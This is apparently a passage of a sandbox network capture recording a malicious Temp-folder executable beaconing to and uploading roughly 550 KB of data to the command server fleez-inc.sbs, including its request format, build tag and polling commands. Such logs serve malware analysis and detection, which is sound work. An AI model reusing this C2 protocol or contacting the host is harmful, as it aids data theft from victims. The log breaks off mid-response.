2024-11-12 20:22:33 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f9ope8a947m6mk8spucadq5cdh; expires=Sat, 08-Mar-2025 14:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WPdQ8JLVsxnJTHTWC%2B1QOHveyoGTndAAR0NI8DAf3MoxgmYoN6OnDCrJs%2BQLEf8b7K3y4smQt5BFIM%2FmyRq3CxjrjpVXqYzF62fEv6iRlI7P6Juztj%2F4WhVUz4VwYnPK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c1389ed7d57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1119&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21390&delivery_rate=2544815&cwnd=251&unsent_bytes=0&cid=5874a8ee2e7af6cb&ts=944&x=0"
2024-11-12 20:22:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49831	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:36 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3R88TROI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1259 Host: fleez-inc.sbs
2024-11-12 20:22:36 UTC	1259	OUT	Data Raw: 2d 2d 33 52 38 38 54 52 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 33 52 38 38 54 52 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 52 38 38 54 52 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 33 52 38 38 54 52 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --3R88TROIContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--3R88TROIContent-Disposition: form-data; name="pid"1--3R88TROIContent-Disposition: form-data; name="lid"LOGS11--public--3R88TROIContent-Disposi
2024-11-12 20:22:36 UTC	1008	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k0pte70q28b68gli8j73gk8um0; expires=Sat, 08-Mar-2025 14:09:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tnud17HJXysYHhZTQN8Xfv7gZT2Devg%2FqpxYu7Yw33BMUSpQEXlynyRdHBx3rLT3CFEjNUDle%2BwQJc3pAE7s%2FGpKb8YU%2FHpSobr5bY5Zb015QxLDLLpc3%2F2pwNDH688K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c2c8a07e93e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2101&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2163&delivery_rate=1341361&cwnd=244&unsent_bytes=0&cid=28204c6c5cd20693&ts=570&x=0"
2024-11-12 20:22:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49834	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:38 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K5NY3NLU865 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550293 Host: fleez-inc.sbs
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 2d 2d 4b 35 4e 59 33 4e 4c 55 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 4b 35 4e 59 33 4e 4c 55 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 35 4e 59 33 4e 4c 55 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 4b 35 4e 59 33 4e 4c 55 38 36 35 0d 0a 43 6f 6e Data Ascii: --K5NY3NLU865Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--K5NY3NLU865Content-Disposition: form-data; name="pid"1--K5NY3NLU865Content-Disposition: form-data; name="lid"LOGS11--public--K5NY3NLU865Con
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 69 91 d2 2d bf 55 d2 50 82 7f 3f 3b 44 9e 65 d2 fe 81 be f5 8f d3 e8 aa fd b0 11 99 91 89 28 c5 e5 83 d3 79 4b c0 7f 17 4d 13 1b c4 0f a6 7a d1 ac 8d 00 4a f8 a1 78 ce 55 3d 44 76 d5 c5 96 3f 51 4b db ac 0f 6b 35 db 28 fc b5 f0 36 f9 20 3a 01 b5 f9 6e 5b ca 49 06 81 ec c1 7e fc c4 f2 98 b6 f1 12 64 d2 8a 04 4f 91 55 63 8e 02 fa dc ec 51 62 51 12 e2 13 d3 1b 0f 31 cd 27 eb 37 b4 93 be 73 d4 b2 2b a3 43 52 21 0b 3c 59 3e 32 1a 9e 46 1d bd 6d 51 b9 a1 82 a2 96 82 e2 35 7a 5f cb aa 3a 12 e0 a7 62 09 b6 a0 c1 60 34 c0 71 f6 8b ff 9f 8a 64 f9 18 5d 74 eb 27 f0 e3 63 58 b4 bf 0a 9b 5c 8a b6 58 6a d6 c1 03 a8 d3 6a be 4a 94 98 6a 6e df f2 35 33 53 32 7a cf 8e 76 42 91 3f 57 84 e9 a2 45 a6 d4 44 1a 62 23 12 00 39 bb b2 97 7c fc 8d ad 76 fb c8 b1 52 fc 95 e5 07 21 Data Ascii: i-UP?;De(yKMzJxU=Dv?QKk5(6 :n[I~dOUcQbQ1'7s+CR!<Y>2FmQ5z_:b`4qd]t'cX\XjjJjn53S2zvB?WEDb#9\|vR!
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 40 7e 16 1c 35 d0 6a 85 ae 44 64 8e c5 11 71 75 a4 31 e1 5f 55 e1 a2 d1 d8 b8 a8 83 6a de 56 76 d1 39 5e 7b 3a 4d 67 90 6b 43 c6 93 6a 61 7a e6 08 46 53 ba 55 3d c7 e8 da b6 f3 d2 97 3b 26 9d 34 60 ed b3 54 22 28 12 7b 8f 16 88 02 6d a0 fa 3c 3c 4c 75 83 4a 50 04 24 b1 57 24 74 3b cc 1c 7a 6f 47 30 3e 97 e8 0f 2f a6 7c 0e 4e 74 bc ff 92 5d fa fe e3 8c db db 85 57 72 9b c6 03 8f 07 97 f8 a9 e5 37 a9 b4 4f 8c 42 fe d2 dd d3 fe 1e fb 04 50 21 b2 54 63 fa 56 83 bb dd 19 45 10 5a 92 15 9c 14 7a 40 af 90 37 f6 48 f7 fd b4 a8 4a 64 44 34 9d 1f c4 5f 1c ad 52 81 da 1a 0a b1 41 c1 5e 13 d8 75 7f bd 33 c9 89 26 62 ca c8 60 f3 63 de 51 91 c9 6f a6 26 e0 ce 48 0a 4a 7e 89 7e 3f 87 80 ca e9 a5 69 72 be 36 73 5c 36 1a da 40 7d 1f 77 4e 5b cb 39 59 95 bc bf b5 84 4f 4c Data Ascii: @~5jDdqu1_UjVv9^{:MgkCjazFSU=;&4`T"({m<<LuJP$W$t;zoG0>/\|Nt]Wr7OBP!TcVEZz@7HJdD4_RA^u3&b`cQo&HJ~~?ir6s\6@}wN[9YOL
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 0d 34 bc ec 64 40 52 fb b1 50 0c 24 fe 33 83 df 8b 14 74 f8 33 cc 54 6b 1c de c9 72 f5 30 7d 5f ff aa cb f8 ef ac c1 ca 7e dc 42 ba a7 0c 78 db 86 1a c0 83 da 59 89 5b a8 b1 35 4d 2c 7c b0 e2 1e 60 94 46 c9 33 89 88 56 b6 22 27 60 71 69 e1 15 43 18 56 cc 48 0d 0f 14 cf 63 2a b9 fa 4a 24 f9 81 33 8a dc 82 9f 19 74 fb 6c 3b 54 95 d4 b0 73 53 76 92 41 b0 da b2 47 69 83 50 f7 cf ff 2c 2b 4b 9f 78 60 c2 fe 45 d0 f5 67 c4 f7 d2 c1 ac 1a 88 83 c4 e7 f7 23 93 bf b0 27 1e a1 c8 b9 46 95 c1 87 96 a6 7a 2f bb bc bd f8 bc a0 8c f7 f3 9d cb 57 4b 62 0c d9 f1 8f 29 b2 ed a2 f7 95 c6 b9 de 4e b7 1a 93 c9 c6 da 58 88 e3 e9 1d 5b 86 92 f9 bc 55 da e2 36 a3 1b 6f 6a ac 81 0a 3a 29 69 d1 a8 e0 06 84 51 ae 57 89 11 3a 61 d2 ab 9f 0a 92 92 93 3e 38 97 97 74 09 e8 93 9e a3 9b Data Ascii: 4d@RP$3t3Tkr0}_~BxY[5M,\|`F3V"'`qiCVHc*J$3tl;TsSvAGiP,+Kx`Eg#'Fz/WKb)NX[U6oj:)iQW:a>8t
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: ba 53 3b fc cc d9 f8 08 99 b3 b8 dc f8 ee 02 67 bd 80 28 91 56 17 41 69 03 52 98 16 17 35 6b 7c af 74 90 da b3 b0 53 23 1f 7e 71 33 07 46 ab b0 a1 09 cc 7a f5 a9 ca c3 27 74 03 de 4b a4 7f ee d2 de c7 b5 77 de 48 0a ff a2 3a 85 53 f2 d5 71 91 ef da 51 c9 65 c8 fb 8b f4 60 a4 62 b7 c2 15 37 e8 88 f0 fd 83 2e 2e db df 1f 59 39 14 fa 70 0d 56 6a b3 8a 80 a9 63 d8 7d d6 c7 95 28 a2 4d b7 a7 6f ca bc 86 b4 e7 e5 7a d6 67 8d d6 bb f3 ad 71 35 df 7b 3d 06 42 47 8b 24 b5 d3 e4 d1 b4 c2 f3 e5 5b 17 e2 b4 32 04 4a 63 6f 25 1d 9b 0b 6a 78 fa 6e 50 3a 2f e1 0c e1 4f 65 e3 ec be f1 8f e4 64 9a 75 56 cd 0d ce bf eb 19 c3 6f 3c 8e 1c 76 01 e4 5a 63 60 68 5c 5d 3c 22 28 82 1e fb c4 4e 2c ff e7 33 3c 79 c1 e1 b3 c2 75 e1 3b 60 0b 3f 6d 37 93 09 f2 d7 ba fa 07 0d 86 89 72 Data Ascii: S;g(VAiR5k\|tS#~q3Fz'tKwH:SqQe`b7..Y9pVjc}(Mozgq5{=BG$[2Jco%jxnP:/OeduVo<vZc`h\]<"(N,3<yu;`?m7r
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 50 86 c3 1f 61 ac 85 56 e7 0a 14 9f d9 2f ba 7b bd 23 98 17 1a 16 fe ad eb 10 2e 0e 8c a9 a8 b2 ca b3 18 b8 c2 16 e1 21 c4 ac aa a7 13 37 de 5e 90 18 9a 77 88 b8 6d 06 d1 42 8b f3 8c ec 51 c6 3b 55 c1 1d 57 08 85 e9 1a fa d4 92 76 79 03 f7 2c 5c 51 bf f5 fe b0 7c 1f 6c 8e 69 db df 59 27 3d 18 06 82 a8 2c 6f c1 6e 82 e8 59 82 45 b6 82 cc 9d 8d 43 99 97 66 8b c4 04 e6 36 4a 6f f0 70 52 7d d4 b8 82 a8 5c 17 d7 cd 2f 80 1c 1f d4 ea 53 82 e0 25 cf 27 80 c0 7c da e0 0c ca 3a 87 1b 0d 40 d9 53 65 5e 48 fb 84 5c 30 1c e4 0e 35 94 89 47 11 e6 ae 7e 25 fd b0 50 4f bd 13 1d 2b 60 fa 1a 10 86 da 94 0b 38 e7 79 16 c1 b8 f1 29 c7 98 88 29 01 64 5a 57 59 ee cb 7c 9c 48 60 c5 8c 71 ae b1 24 bd 1d 65 36 b0 eb 1d 76 05 c5 68 1f 39 b7 82 3c 60 e3 86 3a 8d 09 c2 04 f0 4c e2 Data Ascii: PaV/{#.!7^wmBQ;UWvy,\Q\|liY'=,onYECf6JopR}\/S%'\|:@Se^H\05G~%PO+`8y))dZWY\|H`q$e6vh9<`:L
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 28 65 c8 fc 2b 6f 26 c8 ec 91 7e 6e 17 3d 47 bc 9b 12 b9 61 9d 6f fa d6 ee 2a 44 b3 c0 75 3f 85 18 b4 d8 9e dd 7e 2c 7f d5 17 ef ca fd 6c c0 0d 56 a9 f1 02 5f 38 70 94 60 1b 87 fb 33 13 18 12 9d fc 72 5c ff af 51 a7 8c 38 08 9d 6c bc f8 50 e7 c2 b9 25 7f ac f2 b6 e5 6f 99 d8 3f 45 66 a8 55 b1 57 fe 13 c8 77 26 42 2e 7b 3f fc ba e0 b2 b7 e9 a8 50 25 2f 9c 8b 53 39 ea 66 88 3c e9 f8 67 84 24 c0 b5 10 6c a7 03 49 6b cf 7f c1 37 9e ca 4c 17 30 e6 65 16 0f fd 9e e2 39 a4 d3 91 8c 08 91 60 cb a6 7b f8 fd bf f9 69 37 76 6f 8a 53 47 78 ba ad b5 7e 42 84 c9 ae ec c3 e7 4b 40 77 ce 3f 79 2e d9 b3 f2 51 06 70 d8 2a de a5 04 a4 dd 9f 38 23 43 dc e1 14 d7 30 51 20 cc 3c 1b f6 bf c6 08 3a ff ee e1 af bc ef d2 12 e6 8f 9b fc 90 30 72 a9 0a 28 78 0b 5f e7 1b 28 86 c0 39 Data Ascii: (e+o&~n=GaoDu?~,lV_8p`3r\Q8lP%o?EfUWw&B.{?P%/S9f<g$lIk7L0e9`{i7voSGx~BK@w?y.Qp8#C0Q <:0r(x_(9
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 71 a4 90 ad 3d 21 e7 27 50 9a b2 ec 62 82 d7 43 71 2f 49 08 f5 49 f8 f9 81 68 c6 02 4c a7 28 93 93 43 ef 25 21 be 23 db 37 c9 c1 29 04 a6 d8 14 7a 2a 05 77 37 05 5f 03 fc b9 d2 04 4b 53 6d ac bf 18 c6 68 76 c3 f1 96 b2 a4 f7 9b 76 d7 61 83 13 29 0f 95 6c 1c 62 82 0e 63 bb 0a 2e c7 ba e5 25 56 6d ef 9e 58 76 fc 81 b4 37 9c 7d ec 27 6f 85 bb 25 4e 40 c4 dc 99 72 c1 e3 2e e8 3c 68 0b d3 5d 4d fd 4a 51 dd e9 6e 2f 29 fe f4 84 1c e6 65 77 e2 60 61 44 12 d7 5b 53 0e f5 57 6a 12 13 7e d3 c4 ba cf 0a 31 82 f9 8f 0d 35 1b c6 45 dc dd 4e 5c b9 5c d8 56 1d ad ca ec be e8 52 5b b2 0a 29 3c 8e 35 43 e5 dd 59 e8 3b ad 6a 2f 4b ec 53 48 34 4c 46 da 09 36 28 78 e0 dd 79 a7 30 be 25 4a fd 66 f4 6c b1 48 f0 0d 5a 38 32 61 95 51 50 6c 14 cf 49 26 13 4e 0b af ef 61 e8 8c 27 Data Ascii: q=!'PbCq/IIhL(C%!#7)z*w7_KSmhvva)lbc.%VmXv7}'o%N@r.<h]MJQn/)ew`aD[SWj~15EN\\VR[)<5CY;j/KSH4LF6(xy0%JflHZ82aQPlI&Na'
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 73 71 38 81 9e 17 eb 78 c0 53 17 77 bf d2 7f 3a 80 4a c2 16 89 d2 2c f7 20 8b e6 83 2c 13 e8 37 fd 70 80 38 5d 31 6a df 59 b5 c6 77 77 33 e2 6b 75 94 14 33 78 fe 78 77 60 a2 1d 20 eb 21 c4 11 bf a4 c3 1f 49 44 8b 35 9b c9 2c ac 4b 4d 44 e7 e0 89 f8 df 67 49 f7 d8 8e 01 19 c5 48 b5 11 65 f5 6d 17 3e 9e 18 62 6c 6d a9 39 b7 5f 4b 3b 32 0c 15 1c d8 60 dc cd c7 af 14 41 72 ae d3 3f 5b a7 bb 7d 39 47 83 be 96 2b 54 e3 7f 29 23 4d c3 09 af 69 86 5f 18 17 fb 58 08 fc ee 67 cc 8a f3 9b de 28 51 0c 4f 33 33 49 0c 1b af 7a 6c 11 b1 9a 4b 78 30 b8 ad af ce af 0b db 85 1a 52 b0 c1 13 e3 19 f8 5a e3 70 c5 15 22 4c ca 85 04 4f ca c8 16 1f 54 4a 91 cf 6e 35 15 e0 e3 5b de bb ab c5 7e b7 7c 94 ba 44 c7 32 45 a5 45 b6 45 29 3d 9a e7 4c c1 34 75 4e bb 34 3c c9 bf 8d a9 2c Data Ascii: sq8xSw:J, ,7p8]1jYww3ku3xxw` !ID5,KMDgIHem>blm9_K;2`Ar?[}9G+T)#Mi_Xg(QO33IzlKx0RZp"LOTJn5[~\|D2EEE)=L4uN4<,
2024-11-12 20:22:38 UTC	15331	OUT	Data Raw: 89 a5 59 7d 78 12 4e c5 3c 3f b0 ad 14 99 34 4d 35 bf bb c1 79 6e b4 2b e4 df 4b 78 a4 ee 18 31 41 b3 e6 98 c3 35 96 47 db fe 2f 66 55 4a 3e 50 35 86 b0 7c 6d 0b 98 fe 78 e0 42 19 a0 bf bf aa 0e 0a 18 3d bd e6 80 d2 fb 4f fc 7e 77 75 56 e1 71 fa 7b 40 16 60 19 a0 c3 fc 5b 29 3f 8f 92 a3 43 67 60 ca 5b e3 52 5e f5 87 b3 97 80 8e 1f 8c cd d9 33 15 9f 47 f2 04 c2 53 98 cd 63 9d 82 52 bb c0 cb b7 8a 4b dc 15 c1 df e5 9f d6 f1 08 76 21 20 e4 91 04 a0 a2 7d f6 90 e2 8b 2a 7e f6 5e 44 ca 9d 35 51 d4 79 c5 59 b2 4a fd 1d e3 94 9c 8c f7 92 85 eb 46 9d 85 20 21 23 9e 18 cf 8c ff 9d 96 b7 05 4c e6 92 cb 56 4f 19 ac c4 0b 93 73 e3 c3 58 2b 90 e8 2d 7d d8 17 b7 66 6c c0 22 f6 21 ff 42 82 fb 3f 07 fb 88 70 2e d2 db eb fe 1d ee c6 a2 09 81 b5 fd 10 cb 54 79 e7 c0 96 0c Data Ascii: Y}xN<?4M5yn+Kx1A5G/fUJ>P5\|mxB=O~wuVq{@`[)?Cg`[R^3GScRKv! }*~^D5QyYJF !#LVOsX+-}fl"!B?p.Ty
2024-11-12 20:22:40 UTC	1008	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2h7knunfgsa3672ivi73utoh91; expires=Sat, 08-Mar-2025 14:09:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wUKxS7Xv0Ck9f2dFm3kCz6yRr72pq6KP4q78i7Hx2HEC5WL1V2gito89ggnfpfrcA8DKmFxS7WsZj7TSUPgIDvdMkimHiGrXRxYZH%2BUTlP%2FtcaAynFejsM8p9JpC5Jqq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c3d081b51dc-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18725&sent=227&recv=583&lost=0&retrans=0&sent_bytes=2830&recv_bytes=552764&delivery_rate=154585&cwnd=32&unsent_bytes=0&cid=37e03148250973ca&ts=2180&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49836	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:41 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: fleez-inc.sbs
2024-11-12 20:22:41 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 26 6a 3d 26 68 77 69 64 3d 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--public&j=&hwid=AFED3537E8332E19C80C8ED0A9788823
2024-11-12 20:22:42 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lp8b1g8un9qbn1h06mvp420aul; expires=Sat, 08-Mar-2025 14:09:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FLyCd%2B%2FuB%2FAL266cjVM1h46PbffPAAbcl4JCtTwXpa92mt2LzZO%2B5%2Bo4ZUtoJlNaLSt7SyQsazoV4VwESfGZYWCoX81DFHtnrlA%2FRfiR8LPaVTprmfo1f1PZlfxpulm%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c4f2fd04869-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1893&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=980&delivery_rate=1485890&cwnd=251&unsent_bytes=0&cid=5fec98e6d61ab334&ts=552&x=0"
2024-11-12 20:22:42 UTC	130	IN	Data Raw: 37 63 0d 0a 51 62 67 66 52 4c 43 4e 67 6e 42 69 39 53 68 66 78 4f 6f 34 4a 57 4c 49 48 2f 6e 69 36 50 71 31 78 35 77 4a 78 63 6f 78 39 77 34 61 77 7a 30 78 6b 72 65 67 47 42 61 42 57 47 57 59 78 57 51 4b 55 2f 41 71 31 39 44 5a 7a 35 76 32 72 54 72 72 2b 77 65 72 49 53 37 65 65 52 69 66 36 65 63 57 54 4a 42 51 4f 75 62 47 47 6b 4d 57 36 69 58 4a 7a 73 71 66 6c 2f 32 73 64 4a 67 3d 0d 0a Data Ascii: 7cQbgfRLCNgnBi9ShfxOo4JWLIH/ni6Pq1x5wJxcox9w4awz0xkregGBaBWGWYxWQKU/Aq19DZz5v2rTrr+werIS7eeRif6ecWTJBQOubGGkMW6iXJzsqfl/2sdJg=
2024-11-12 20:22:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49842	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:50 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fleez-inc.sbs
2024-11-12 20:22:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-12 20:22:52 UTC	1002	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hsraqgbee2soei4knamad133or; expires=Sat, 08-Mar-2025 14:09:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UUmiaz6LEr0p2hqLDXD9cl3Eb3hP97Vz1C9UDJkT8kLKup0rvTUfcbeR0Q9y5ZyQF8nesp1iGKcjE8v1%2FIrEALxmWco4CNJiLj2oqUWsdLJ%2FewRYweSR91FajvlYL13E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c886ab2c871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1322&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1955435&cwnd=127&unsent_bytes=0&cid=e66099730db8f17f&ts=1460&x=0"
2024-11-12 20:22:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-12 20:22:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49844	172.67.150.243	443	7236	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:53 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: fleez-inc.sbs
2024-11-12 20:22:53 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--public&j=
2024-11-12 20:22:54 UTC	999	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8el3l16q3t2vtda782iho5qisj; expires=Sat, 08-Mar-2025 14:09:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Clh54gZ33h6IPVD8v3tbIJnxdjYfjF1KeEYf6DqSSrnel7YtgCCmU6NAeygCCgtkOUQuCYqrC0s9syP7Hfl3bwp84Bl7EPa8XiPAaOmK3qmc6vKoCnDe2dJsmd%2FRKFO7"}],"group":"cf-nel","max_age":604800} NEL: 